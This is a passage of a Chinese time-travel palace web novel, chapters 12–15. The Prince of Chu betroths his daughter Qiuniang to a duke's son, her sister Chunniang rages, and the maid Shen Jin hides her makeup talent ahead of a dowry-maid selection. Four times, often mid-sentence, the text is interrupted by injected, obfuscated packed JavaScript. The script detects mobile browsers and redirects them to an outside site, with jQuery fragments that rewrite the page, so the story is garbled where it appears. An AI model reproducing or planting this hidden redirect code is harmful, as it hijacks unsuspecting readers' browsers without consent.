“还行啊,这书读得不错。秋娘啊,父王前些日子就说过,你也十五六岁了,是时候相看人家了。” 终于走完了‘考察学问’这一面子上的流程,楚王迫不及待地把书往桌上随意一扔,松了一口气,也不管凌乱的桌面,一堆崭新的书被折叠得全是痕印,有几本书还破了。 楚王往后一靠,叉开腿,椅子被他肥硕的身体挤压得吱呀响: “本王这次去都城,结识了国公府老爷子,他有一子正适龄,想寻个知书达礼的贵女。” 其实并没有‘结识’,但楚王好面子,这个时候必须给自己戴高帽。 “本王相信你肯定能让国公爷满意,毕竟你是本王的女儿嘛。把生辰八字交给你娘,这几个月就在家里好好待着备嫁啊。就这样, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14876039|159617||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你回去吧。” 秋娘完全没有说话的机会和余地。 楚王也不想知道秋娘的想法,这只是通知,不是商讨。秋娘愿意得嫁,不愿意也得嫁。 管她愿不愿意,只要楚王愿意就行。 楚王挥挥手,让秋娘离开正院,连一句话都没让秋娘开口。 秋娘刚踏出书房的门槛,楚王就赶紧抬起双脚,搁在书桌上,舒坦地喝起小酒,带着灰尘泥土的鞋子还在书籍上踩了踩。 秋娘的婚事就这么定了。 这件事,是好是坏呢,谁也不知道。 秋娘从阴凉的正院走出来,正午太阳刚好升到头顶,明亮的阳光照在身上,刺得秋娘双眼隐隐泛起了泪水: “叶果,你说,这桩婚事应该是好的,对吗?对方是国公府的,应该还不错,对吗?” 秋娘纤细的手紧紧捏着贴身丫鬟叶果,声音透着点微弱地颤抖,她不断地询问着,对吗对吗对吗,似乎想得到些肯定的支持。 她知道,叶果只是个丫鬟,也做不了什么,但她已没什么办法。 “小姐,一定会好的,会好的,那可是都城国公府呢,小姐一定是去享福的。” 叶果满眼通红,带着哭腔地回握住二小姐的手。 秋娘主仆俩才相互扶持着离开正院,二小姐要联姻嫁到都城国公府的消息就满天飞了,像长了翅膀一样,传遍了王府每一个人的耳朵。 可见楚王一脉确实落魄了,对下人的管理形同虚设,毫无规矩可言。这王府跟个漏风的筛子一样,在书房这样核心的地方谈的事情,一秒都没延迟,就全传出去了。 所有的主子、下人都在讨论这件事。 大小姐春娘的院子,之所以炙手可热,就是因为她要嫁到都城去了。 下人们都想跟着去都城过好日子,所以才争着抢着讨好大小姐,上蹿下跳地送礼跪舔。 如今,突然传出消息,二小姐也要嫁去都城了,而且还是国公府,比春娘的婆家还高一级呢。 这可炸了下人院子里的锅啊。 二小姐突然升级了,院子门口从之前的门可罗雀到现在的车水马龙。 人来人往,很是热闹,全是争相前来讨好的丫鬟婆子们,想把自家的儿女、侄女、小子、亲戚之类的塞进秋娘的陪嫁队伍里。 就连之前一直自觉高贵,推三阻四不来给二小姐化妆的梳妆房都派人过来谄媚地问候。 叶果每天都要站在院子门口,回绝一堆下人,口水都费了不知道多少,晚上院子一落锁,就嚷嚷着口渴,捞起水壶就大口地吞。 有人欢喜,有人忧。 人类的悲喜并不相通。 大小姐春娘,此刻嫉妒的要炸了。 “凭什么!她凭什么!为什么她可以嫁去国公府?就她那破样子,简直丢我王府的脸!” 大小姐春娘向来以准侯府夫人的身份为傲,自诩高贵,是府里年轻一辈的第一人,很是嚣张。 一直都瞧不起缩在角落的秋娘。 如今反倒是她落在了第二。 看似是气愤,其实是害怕。 12. 第 12 章 春娘所有的底气都源自于楚王和大夫人的宠爱,她本身的能力,有,但还不足以支撑她自己。 所以她很怕失去王爷和王妃的关注,想永远保持第一的位置。 任何的风吹草地,都会让她暴躁。 这次听说是王爷给秋娘寻的亲事,大小姐心里彻底慌了。 上次爹爹就夸了那贱蹄子的妆好看,这次又给她说亲国公府,该不会是要偏心于她吧,这可怎么办啊? “不行,不行,我要去问爹爹,我要去问王爷!!!” 大小姐春娘气急上头,也不管什么长幼规矩了,平时在王爷面前做小伏低、战战兢兢的她,哭着冲出自己院子,直奔正院而去。 “爹爹呢?爹爹在哪里?” 大小姐春娘刚到正院门口,就吵吵着要见楚王爷。 管家连忙出来低身应着:“大小姐,王爷正在书房,您等小的通报······” 春娘耳朵只听见了‘书房’两字,根本不等管家把话说完,直接动手,一把推开管家,冲向书房。 “爹爹!!!” 春娘尖锐的声音把正在喝酒的楚王爷吓了个仰倒,半杯白月春洒了干净。 眼瞅着春娘逼近书房,楚王赶紧把脚从书桌上挪下来,累得抱着肥肚子直喘。 “成什么样子!都是要做侯府夫人的了,慌慌张张大小叫,叫个什么?” 楚王板着脸,很不高兴。 看着这个乱七八糟地跑过来的女儿,楚王烦得很,这样的仪态,万一侯府退货不要了,怎么办? 虽然有国公府助力,但侯府势力也不可小视,还是要好好联络的。 但春娘现在这个样子,还能不能顺利完成出嫁啊? 楚王心里,心思千回百转。 “爹,你是不爱女儿了吗?听说秋娘定亲国公府了,女儿不要这样啊。” 春娘现在‘怒壮怂人胆’,根本不似以往小心翼翼。快步扑到楚王爷面前,抱着王爷的腿,就开始质问。 ‘啪————’ 楚王好面子,怎么可能容许女儿忤逆质问自己,怒目冒火,拿起酒杯生气地怒拍桌子: “你在放什么厥词,秋娘定亲国公府是为了整个王府考虑,不要只关注你自己,姐妹俩应该相互扶持,你要再胡言乱语,就滚去祠堂跪着反省!” 实际上,定亲国公府,根本没有楚王说的这么高大上、正义,纯粹是为了他自己才卖掉两个女儿。 但此时,好面子的楚王怎么可能,把真实目的说出来呢? 楚王严肃震怒的面容吓醒了昏头昏脑的春娘,春娘张开的气焰,不禁弱了下去。 春娘心口泛酸,眼泪啪啦啪啦往下掉: “爹————,您平时最疼我了,如今府里风言风语都传遍了,说您不爱我了,秋娘成了最受宠的小姐。现在那些下人们都嘲笑我,阳奉阴违,做事都不尽心了。” “呜呜呜,爹,我可怎么办啊,妹妹嫁得比姐姐高,传出去,让别人怎么看我,怎么看咱们王府啊!” 春娘是真心实意地难过,哭得上气不接下气。 这话说得很没脑子,一听就觉得这人没啥情商,或许春娘平时不这样,但此时她早已慌了神,脑子根本转不动了。 楚王听得脑门直爆青筋,忍了又忍,这样的脑子,到底要怎么在侯府混啊?这丫头真不让我省心。 但看着春娘哭得满脸都是泪,平时鲜艳耀眼的女儿,现在委委屈屈地伤心,楚王还是心软了: “好了好了,作甚哭得这般可怜。联姻国公府是为了咱们王府的利益,你放心,她越不过你去。” 毕竟是自己从小宠到大的女儿。楚王拉起趴在地上的春娘,让她坐在旁边的小椅上,又递给她一张手帕。 “擦擦泪,别哭了。你妹妹定的是国公府的次子,不是袭爵的长子。此事莫要声张,回去吧,待会儿我让管家再给你送点份例过去。” 楚王爷对春娘还是有一丝心疼的。 只不过,春娘还是不满意,在她心里,妹妹就不配定亲国公府。 春娘的小嘴撅得老长。 但她不敢反驳楚王的命令,只得期期艾艾地、磨磨蹭蹭地出了正院。 隔墙有耳。 楚王府对下人的管理,就没有纪律可言。即便是号称管得严的大夫人王氏,也只是对下人凶悍罢了,从未管过奴仆们的嘴。 所以,楚王府的墙早就漏得全是洞,一排排的耳朵都搁那儿放着呢,随时偷听。 春娘都还没踏出正院的门槛,二小姐嫁得是国公府次子,这个消息就已经疯传。 下人们的心思再次搅动起来。 楚王府里,暗流涌动。 就比如那梳妆房,宋娘子就正在琢磨着该不该换个路子,去讨好二小姐,把她女儿脂奴塞进二小姐秋娘的陪嫁队伍里。 绞尽脑汁地想着,条件反射地做着手上的活,哪还有心思管梳妆房里的小丫鬟们。 做杂活的洒扫丫鬟,趁机溜到一边躲懒去了。沈瑾和脂奴两人也寻摸个有阳光的回廊去坐着唠嗑。 “脂奴,上次宋娘子教的圆点眉,我总画不好那个形制,都练习好几次了。” 沈瑾其实会画眉,画得还挺好,但多多少少有点担心把握不准形制规矩,毕竟这里是历史不存在的古代景朝,逾制是大罪。 脂奴年纪小,嘴巴不严实,趁着宋娘子不在,多说两句捧着她,说不定能套出更多画妆技巧来。 再者,假装示弱,也能给自己减少点麻烦。 “这画圆点眉有什么难的,我就能画,待会儿教教你。”脂奴骄傲地翘起下巴,一副得意自傲的模样。 “诶,你知道吗,再过一阵子,大夫人王氏就要考咱们的画妆手艺了。”得意之下,嘴没个把门的,把她娘叮嘱的,不要让人知道,忘记得一干二净,兴奋地给沈瑾分享消息。 她娘说,在这次考试,大夫人王氏要给大姑娘春娘定下未来的梳妆陪嫁。 妆娘可是要跟着陪嫁队伍进都城的。 到时候不仅在她和沈瑾之间挑选,听说还有其他人报名,一共是五个。 王氏放话要举办正式的选拔,是最近两天才传出的消息。 所以,脂奴她娘这些天,晚上都不落梳妆房的锁,也不让脂奴下值回家,母女俩在梳妆房找那些边角料的胭脂水粉练习 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14876040|159617||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 画正妆。 宋娘子甚至还拿出自己的私房银钱,从外面的大店买来时兴的好货,让脂奴体验上等妆品的手感。 这些年,在宋娘子的督促下,脂奴的手艺越来越好,几乎完美继承了宋娘子的技艺。 画的正妆,有模有样,都符合景朝形制,还能时不时兼具一点漂亮。 脂奴知道沈瑾不会和自己抢春娘的梳妆丫鬟的位置,一早就说好了。 她是个诚信人,不会在这儿整那种坏心眼子。 再说了,瑾姐儿的手艺差得很,连个圆点眉都画不好,她怎么抢,抢也抢不着。 瞧她,都快考试了,还要来向自己请教。 脂奴心里这样想着,很是骄傲,还有点不易察觉地看不起瑾姐儿。 而且,脂奴觉得,她是为了瑾姐儿好,距离考试还有点时间,瑾姐儿可以在这期间,去别的主子院里攀关系。 比如,二小姐秋娘,最近风头就很盛嘛。 府里都疯传,二小姐要嫁去都城国公府了,婆家比大小姐春娘的还要好呢。 二小姐肯定也是需要个梳妆丫鬟的,毕竟是嫁到都城的高门贵户去咧。 听娘说,大夫人王氏,打算在这次画妆选拔里,把二小姐的梳妆丫鬟也一起选了算了。 本来是为大姑娘举办的陪嫁选拔,但王氏想着若是以后还要再弄一次,也忒麻烦了点,不如就一次选完罢了。 脂奴盼望着,沈瑾能做二小姐的梳妆丫鬟,这样就两全其美了。 她和沈瑾在一块儿干活的这段日子,沈瑾从不偷懒耍滑,向来积极,虽然最近几日她总是迟到早退,但那也没什么。 而且,两人相处都没红过脸,这其实是沈瑾总在包容她,毕竟年龄心性都成熟些。虽然脂奴不这么觉得,但确实是相处比较和谐。 她觉得瑾姐儿这人还不错,这些日子相处下来,两人也算关系近。 脂奴不愿沈瑾跟她抢春娘的陪嫁位置,又担心她以后的前程,多少有点为沈瑾着急。 若是瑾姐儿能去二小姐的院子,那就完美了,你好,我好,大家都好。 “我天生就笨,娘总骂我,什么东西对我来说都很难。” 沈瑾假装无奈地笑了笑,谦虚地回了一句。 继续保持她笨拙勤奋的人设,闷声低调发大财。 沈瑾怎么可能觉得难,她可是画妆界的天才! 无论什么妆,看上一遍,就能画出来;无论什么形制,学一遍,就能融会贯通。 只不过,初来乍到,再加上景朝是,与沈瑾曾生活的现代,完全不同的陌生古代,一时有点雾里看花而已。 而且,沈瑾在职场上磨炼出的谨慎,促使她主动藏拙,不冒不必要的风险。 她不仅圆点眉画得不好,就连特别重要的正妆,都画得歪七八扭的。 每次都是等脂奴学会了,她才跟着嘴上说学会了,但是手里画出的妆,仍然丑得抽象。 就拿正妆中最基本的入门级唇脂来说,脂奴涂出来的是自然红的,沈瑾涂出来的就又突兀又潦草。 偏偏给来蹭妆的小丫鬟们画的妆,就又漂亮又灵动,画妆的速度还快。 13. 第 13 章 沈瑾何尝不想当第一呢,但她要是画得比脂奴好、比脂奴快,宋娘子肯定不高兴,那她还能在梳妆房有立足之地吗? 怕是苟不到画妆选拔的那一天。 沈瑾没有继续和脂奴搭话,侧身拍了拍裙子边角上的灰,就准备下值回东角屋去了。 走之前,回头看了看天上的斜阳。 黄昏很美,一只羽毛厚嘟嘟的小麻雀叽叽喳喳地从院子上天空飞过,不见其它鸟雀儿,大抵是飞去温暖的地儿过冬了吧。 回去的路上,刮起了北风,天上黑沉沉的,似乎快要下雪了。 沈瑾双手压住麻布棉裙,这样能挡些风。 等快到东角屋的时候,天已经黑得透彻。现在已接近末冬,天黑得很早。 离老远,就瞅见东角屋里已亮起油灯,想必是金嬷嬷已经回来了。 金嬷嬷神色非常激动,翘首以盼地盯着门口,等着沈瑾回来。 连最爱的酒都没喝,只嘴里咂磨着一两颗花生。 沈瑾刚推开角屋门,一只脚才跨过门槛,金嬷嬷就飞着似得扑了上来。 “好女儿,你的大运来了!你知不知道大夫人说了啥?” 金嬷嬷一双老眼闪亮亮的,大手使劲地推着沈瑾往方桌边坐下。 “娘,大夫人说了啥?” 沈瑾仍是装作什么都不懂、糊里糊涂的样子,顺着养母的话往下接,捧得金嬷嬷八卦劲儿高涨。 “年前,要给姑娘院子选梳妆丫鬟,当陪嫁的,大夫人亲口说的!” “你不是在梳妆房学手艺吗,这些天学了不少吧,前些日子你还得了二小姐的赏钱呢,这次选拔你可以参加呀。” 原来金嬷嬷打的是这个算盘。 各院姑娘的梳妆丫鬟都是贴身伺候主子的,算是二等丫鬟。 如果把在主子院子里伺候的下人们分个等级大小、地位高低,那第一等的就是和姑娘少爷们朝夕相处多年的贴身大丫鬟、心腹、奶妈,这些是有情份在的。 她们最得主子看重,在下人里也最有地位,管着主子院里的大小事物。比如:嫁妆钥匙、重要财产、珠宝首饰、绸缎衣料等。 那些阴私之事,或者有什么重要、紧急、核心的事,都是交给她们去办的。 第二等的就是院子里的梳妆丫鬟和管着田庄铺子的帐房掌柜。 账房掌柜,自不必说,手里攥着主子们的银钱收入呢。管钱袋子的,地位自然高。 梳妆丫鬟则是管着主子的妆容,是主子们出门见客的脸面,即使是手艺一般的妆娘,也算得上是主子身边的核心人物,更别说画妆顶顶好的梳妆娘子了,那可是心腹! 但凡有点脑子的主子,都会使劲儿笼络妆娘,绝对不会离了心。 梳妆房里的小丫鬟,总是被忽略,确实没什么前途和机会。但是主子房里的梳妆丫鬟却是一个很好的出路,能在主子面前露脸,天天陪伴,情份是一等一的。 虽然比不上最核心的心腹,但也是被人尊敬追捧的,日子轻松不说,还能得几个小丫鬟伺候自己。吃食上也尽是享受,不用跟其他下人一起混大锅饭,往往都是跟主子一桌吃饭的,山珍海味能吃到腻。屋子里的家具用品,也都是主子赏赐的上等货,穿金戴银、绫罗绸缎,日子比外头的小门小户家的小姐还要好。 真是令人羡慕。 最重要的是,梳妆丫鬟的月钱是三两银子。 这对于金嬷嬷来说,可比什么果子衣裳重要,银钱是真正能到她手上的。 要知道金嬷嬷最是贪财,但月钱只有二钱银子,比起梳妆丫鬟的,差远了。 若是沈瑾入了选,她金嬷嬷就能每月白拿三两银子啊! 哎呀,白养了这丫头十年,给吃给喝的,终于能回报点了。 金嬷嬷一听到这个消息,心里就升起了这个念头。 算盘打的哗啦响,银子碰撞的美妙声音,馋得金嬷嬷坐都坐不住。 当场抛下正一起聊闲的婆子,活也不干了,偷摸溜着就回东角屋等沈瑾。 所以,沈瑾回来时,才会看到一脸兴奋期待的养母。 “娘,我肯定能参加,我还要给您挣三两银子的月钱,孝敬您呢。” 虽然银钱都得给金嬷嬷,但是沈瑾一点也不担心。 因为值得。 沈瑾现在这具身体,还是个梳着丫髻的十岁女娃,没有保护伞的小孤女,在这个封建时代,会受到什么样的欺负,可想而知。 “好好好,你一定得参加啊,知道不?为了送你去梳妆房学手艺,花了我多少钱啊。” “别家哪有我这么好的娘,都是为了你,你可千万给我去参加喽,听到了吗?” 金嬷嬷还不放心,实在是馋那三两银子的月钱,怕到手的鸭子飞了,便又强调了几遍,让沈瑾记得参加选拔。 “记得的,娘,女儿一定参加的。如今府里没多少会画妆的小丫鬟,我肯定在参赛名赛额中的。” 沈瑾顺着话,给了养母一颗定心丸。然后又提了提银子的事,加深金嬷嬷的贪念: “娘,这三两银子,我绝对拿到手的,月月都让娘喝酒吃肉。” “好女儿,你不仅得参加,还必须给我进姑娘院子,娘为了你,吃了多少苦啊,就那给宋娘子的二两银钱的礼,就没几个婆子会让自家姑娘拿出去。” “看娘对你多好,你怎么着都得在选拔里赢喽,给姑娘当梳妆丫鬟,拿三两月钱回来孝敬娘啊,知道啵?” 金嬷嬷心里其实早已被‘三两月钱’迷晕了,喜欢得紧,但还是习惯性地打压一下瑾姐儿,免得自己捞来的苦力跑了。 金嬷嬷就是心虚,这些年她并没有在养瑾姐儿这件事上费多少功夫,只是给口饭吃而已,反倒是瑾姐儿,任劳任怨地伺候她近十年。 若是真的掏心窝子的付出过,大可不必天天把‘我对你很好’挂在嘴上。瑾姐儿再小,也是懂得人好坏的。 就是名不副其实,才害怕瑾姐儿不认她了,逮着机会就说自己有多好。 “知道的,娘,您对女儿都好,女儿牢记在心。” 沈瑾面上笑得柔顺,非常乖巧地点头称是。但心里有自己的看法和打算。 金嬷嬷毕竟养了原主十年,虽然对她不好,但至少救了一条命,原主的执念里也没有浓烈的对金嬷嬷的怨气。 养母这个人懒、贪,没有脑子,不是什么好事,但对于沈瑾来说,很是好事。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14876041|159617||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>好操控啊! 沈瑾的‘三个月自救计划’还需要个成年人做保护伞呢。金嬷嬷是最名正言顺,也最方便的伞了。 现在临场换一个,不好搞,不利于计划实施。 而且,以后若是调查出了瑾姐儿的真实身份,需要对付隐藏在都城的、鸠占鹊巢的幕后黑手,或许还需要金嬷嬷出来作个证人。 但金嬷嬷确实对待原主不怎么好,瑾姐儿悲剧短暂的一生,也有她的一份推动。 综合考虑,沈瑾决定先画个大饼稳住她,让她为自己的前程出点力,帮助自己顺利前往都城,也算是为原主出点气,把原主以前没得到过的好处,挖一点回来。 那三两银子的月钱,肯定是给的,沈瑾说到做到,讲诚信。 况且,三两银子又不多,待后面回到都城,拿回属于瑾姐儿的一切,区区三两银子算什么,只有金嬷嬷这种没见识的下等奴仆才觉得三两银子顶了天去。 银子有,但更多的就没有了。 沈瑾不是那烂好心的圣母,别人怎么对她,她就怎么对别人,她只做镜子,不做受气包! “诶好好,听话的好女儿,真乖。” 金嬷嬷看瑾姐儿如此顺从听话,满意得很,心里觉得稳极了,这日子真有盼头啊。 拍了拍沈瑾的手,金嬷嬷又说: “好女儿,这尽人事,还要给老天爷上供点祭礼,才能保你顺顺当当的。” “城外的大庙,灵得很,达官贵人都去上香嘞,娘明天去给你拜拜,求那菩萨保佑你进姑娘院子。” 金嬷嬷觉得养女这么懂事,肯定已经被她牢牢掌控,那么三两银子也相当于已经进她的口袋了,进了她的钱袋子,就别想跑出去! 金嬷嬷没有读过书,没多少见识,是典型的封建女性。 再加上,景朝众人的迷信程度极深,在她的认知里,做什么事都要老天爷同意的,必须去庙里拜拜,不上香,不行的,事儿肯定败。 若是上香了,还没选上,就是瑾姐儿没本事,没这个命! 话说得越多,越容易露出破绽。 沈瑾已经尽全力模仿原主的大小习惯了,但她毕竟不是原主本人,只是和执念达成了协议、帮其查明真相报仇。 所以很多极其微小的细节,无法做到一模一样。 金嬷嬷和原主生活相处了十年,虽然她蠢笨无脑,但还是存在万分之一的可能性,发现她和执念的秘密。 现在沈瑾担不起哪怕一点点暴露的风险。 万事以稳健为上。 所以,还是少说点话,减少相处时间。 但这不妨碍沈瑾的计划,事情仍在一步步按照沈瑾的安排进行。 沈瑾先哄着呼着金嬷嬷洗了澡,回里屋躺下。然后坐在外屋厅里,思考下一步该怎么走。 沈瑾环顾一圈东角屋,神色不明,在博主事业拼搏多年练就的面不改色,在此刻体现了出来。 她先瞥了里屋一眼,再慢慢转过身,着重看了看外屋西墙边立着的柜子。 沈瑾轻轻地勾了勾嘴角。 指尖无声地敲着桌子,不疾不徐,一下又一下······ 【死亡倒计时:77天】 14. 第 14 章 沈瑾每天总是起得很早,但今天比往常更早一些。 因为金嬷嬷今天破天荒的在辰时就爬起来了,此时正瘫坐在椅子上,迷迷瞪瞪地歪着脑袋: “哎呦喂,早起真不是老婆子我该干的哦,头疼,头疼,难受得很。” “还不是为了你,得早点起来,去给主子告假,再赶去城外大庙。” 难得早起一回,哪哪不适应,金嬷嬷起床气爆棚,鸡爪子似的手颤颤巍巍地指着沈瑾埋怨: “快,去给我买早食,就买街角那老字号的豆泡汤。哎呦喂,哎呦喂,难受啊。” 不得不佩服,沈瑾是真的很有智慧,这都能忍着金嬷嬷。 小不忍,则乱大谋。 也侧面说明,沈瑾性子好,底性是善良的。 “娘受累了,您稍歇息会儿,女儿去去就回。” 沈瑾低着头,看不清神色,但却咬了咬后牙。她一直在心里狂提醒自己,现在还需要养母存在,不能翻脸,这才维持住了轻柔的语气。 沈瑾从椅子旁边的钱盒子里,当着金嬷嬷的面,摸了几个铜板,揣到怀里。 这就是沈瑾的聪明之处了,她知道养母爱财,一个铜板子都看得特别重,所以拿钱的时候,从来不被背着金嬷嬷。 所有的行为都在给金嬷嬷加强‘瑾姐儿是值得信任’的正面印象,为后面的计划发展铺路。 沈瑾又从西面墙边的柜子里,取出深冬季节出门专门穿的厚袄子,套在身上。厚袄子是用硬麻布做的,叠了两层布,里面塞了很多棉花,所以看起来又肥又大。 但她不介意,大冬天冷得很,这古代又缺医少药的,真生病了,即便是在现代很简单就能医治的感冒,都能要掉她半条命去。 不好看算什么,她宁愿土里土气,也不要病怏怏的。 况且原主就是因为身体太瘦弱,没熬过寒冷的冬天,才一命呜呼的。 穿越来的这些日子,沈瑾每天尽最大力保证自己吃好、喝好、早睡早起,将将刚把身子养回普通水平,可不能随便浪。 穿好袄子后,沈瑾理了理刚梳好的头发,拿起在墙角放着的篮子挎在臂弯,深吸一口气,做好心理准备,一鼓作气推开了房门。 果然。 门一开,呼啸的北风就狂卷着吹进来,扑了沈瑾个满怀,刚理好的头发又被吹散了。 沈瑾赶紧跨过门槛,转身关好房门。 外面的北风越刮越大,沈瑾冻得搓了搓手,还往手上哈了口热气。幸亏穿了这厚袄子,要不然铁定冻成风寒。 沈瑾一边感叹自己的明智,一边沿着背风的墙边屋檐,快步向早市走去。 等快到早市的时候,风稍小了些,太阳露出个边角来,虽然不暖和,但有丝丝缕缕光线照下来,街上的物景都看得清了。 早市还是一如既往的热闹,很多卖吃食的小店,门口站着掌柜的,绑着花头巾,挥着手,热情地招呼着客人: “小娘子,来捡块糖糕吃呐,还有刚出锅的炊饼,热乎着咧。” 沈瑾走到常去的王婆子烧饼店,要了两个肉饼子。 王婆子的这家饼店,门面虽小,但却很受欢迎,小小的店里挤满了客人,门口也是人来人往的。 用料新鲜、份量扎实,这不必说,价格还很便宜。 更重要的原因是,这王婆子消息最是灵通,这楚州城里发生的事都逃不过她的耳朵,第一时间就能知道。 这种碎嘴婆子不讨人喜,但人人又都想听八卦。 所以,每天早上,住在周围的人家,都自发地来王婆子店里吃早食。 就算听不到八卦,吃吃饭也挺好的,这王婆子家的肉饼,那叫一个鲜。 这不,今天就又有一个新的大消息。 “哎呀,小娘子,你来得正好,今日个,你们王府里的大夫人,可是让人出来传消息,说是要给府里的金贵小姐选梳妆娘子呢。” 王婆子一边麻利地在锅里捡肉饼,一边跟沈瑾打听消息。 说着还对沈瑾挤了挤眼。 “哦?这是怎么个说头,王婆婆今天为什么这么问?” 沈瑾不动声色地接过炊饼,不回答问题,只先反问,把主动权掌握在手里。 “哎,王府的管事,今天一大早就出来贴了布告,大家都看到了,还安排了人在公告栏边上站着呢,给大家讲解。” 王婆子收完饼钱,便贴耳靠过来,手挡住嘴,小声地跟沈瑾说: “那市集门口,还有城门口都贴了告示呢,说是这次选拔不拘王府里外,只要是有真本事,就能进姑娘院子,随着陪嫁队伍进都城享福咧。” “大家都传遍了,且讨论着呢。哎呀,小娘子,你说是不是嘛,王府里大夫人真这么讲?” 王婆子猴急地推了一把沈瑾的胳膊,想知道更多的内部消息。 “王婆婆,这主子的事,也不是我能议论的。但确实要给小姐选梳妆陪嫁的。” 沈瑾打了个哈哈,糊弄着回应过去了,只简单说了点皮毛,便不再多言。 讲八卦没什么,但把主子的细节消息都传出去,万一被主子发现是她说的,那在王府里,可吃不了兜着走。 这就仿佛是,在现代,打工人在公司里干活,老板给你发工资,结果你把老板的私生活传得人尽皆知,沸沸扬扬的,那不是找抽嘛。 听到了自己想要的消息,沈瑾便离开了炊饼店,没有久留。 刚才来早市的时候,确实瞧见市集门口围满了人,议论纷纷的,不知道在说什么。 沈瑾也有点想去凑凑热闹,但今天事情有点多,时间紧,赶着去买吃食,就没有往那边走。 现在想来,应该就是在围观这件事吧。 沈瑾细心地盖好了竹篮子上放着的保热的汤婆子,向转角卖豆泡汤的老店走去。 “哇!!!有人揭榜了!” “快来看啊,有娘子揭楚王府的榜了。” “哇,这是谁啊,敢接王府的选拔,肯定有真本事。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14876042|159617||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 突然,一阵吵闹声从早市门口传来。 沈瑾也被吸引了注意力,不禁转头朝那边看去。 本以为过了会时间,聚集在门口的人们应该已经散去了些,没想到还是这么多人,现在一阵吵闹,人更多了。 看来这景朝的娱乐活动挺匮乏的,要不然就是景朝人都太闲,这么半天了,还在聚集围观一个布告。 其实并不然,景朝的老百姓一生忙忙碌碌的,为了吃喝嚼用,一年到头都不得闲。 只不过老百姓都对皇亲国戚的家里事感兴趣得很。阶级分明,平时大家都接触不到王府里的消息,如今突然炸了个大消息出来,还是关于王府小姐的梳妆陪嫁,这么内部的消息,那可不人人关注喽! 更何况,楚王府乃楚州一霸。 虽然上下两代都没本事,已然落魄,但表面还是金碧辉煌的。 对于普通老百姓来说,还是触不可及的庞然大物。 现在好不容易有机会,可以一探究竟,大家自然都立地化身为狗仔队。 死死跟随,非要挖出个一二三来。 如果这个时候,在旁边卖点瓜子零食啥的,估计能赚点碎钱。 抓紧时间,买完了金嬷嬷点名要的豆泡汤,沈瑾也好奇心作祟,往市集门口的告示栏那边走去,看看到底发生了什么。 “王府管事来了,大人来了,都让开,让开。” “王府来人了,好像是要请揭榜的娘子去王府试一试本事。” “哎哎哎,那娘子长啥样啊?” “哇,还真有人敢参选诶。” 王府的侍卫凶狠地扯着嗓子,驱赶周围聚集的百姓散开,可压根挡不住大家的八卦之心,人群只散开了个小口,供王府管事进来,整体还是围成厚厚的一大圈。 沈瑾也走到旁边了,本来打算挤进去看看情况,但围观的人实在太多,若真要挤进去,怕是得把刚买的吃食都挤散。 而且时辰确实不早了,得赶回去了。 因此,沈瑾便只站在外围,踮了踮脚,仰着头,往里看去。 只看到一个瘦瘦的背影,盘着妇人发髻,头上插着两根雕着花纹的银簪子。 瞥了一眼,便算做已经凑了这个热闹。 反正估计都是奔着大姑娘春娘院子来的。 王府里已经传遍,但外面还没几个人知道二小姐要嫁去都城国公府。 所以在楚州老百姓眼里,都揭榜参选了,必然是争王府大小姐的梳妆娘子喽。 威胁不到她沈瑾。 不过,万事不能说绝对,万一呢? 沈瑾心想,可不能影响自己的‘救命计划’,这件事还是留个心眼,防着点。 能这么自信揭王府的榜,多少应该有点压箱底的本事。 不过,她沈瑾可不怕,无论什么对手,放马过来! 回到东角屋,清晨刮的北风已经停了,但天阴沉沉的,空气燥得慌,也比前几天冷得多,大抵是快要下雪了。 15. 第 15 章 回到东角屋,清晨刮的北风已经停了,但天阴沉沉的,空气也燥得慌,比前几天冷得多,大抵是要下雪了。 金嬷嬷冻得浑身发抖,她没想到今年冬天这么冷,心里已经有点后悔昨夜一时高兴,说了大话,要在今天这么冷的天儿里,赶老远的路去城外的大庙。 但又舍不得即将到手的三两银子月钱。 终究不情不愿地扯过沈瑾臂弯里的竹篮子,瞪了沈瑾一眼,歪在椅子上,几口就喝完了豆泡汤。 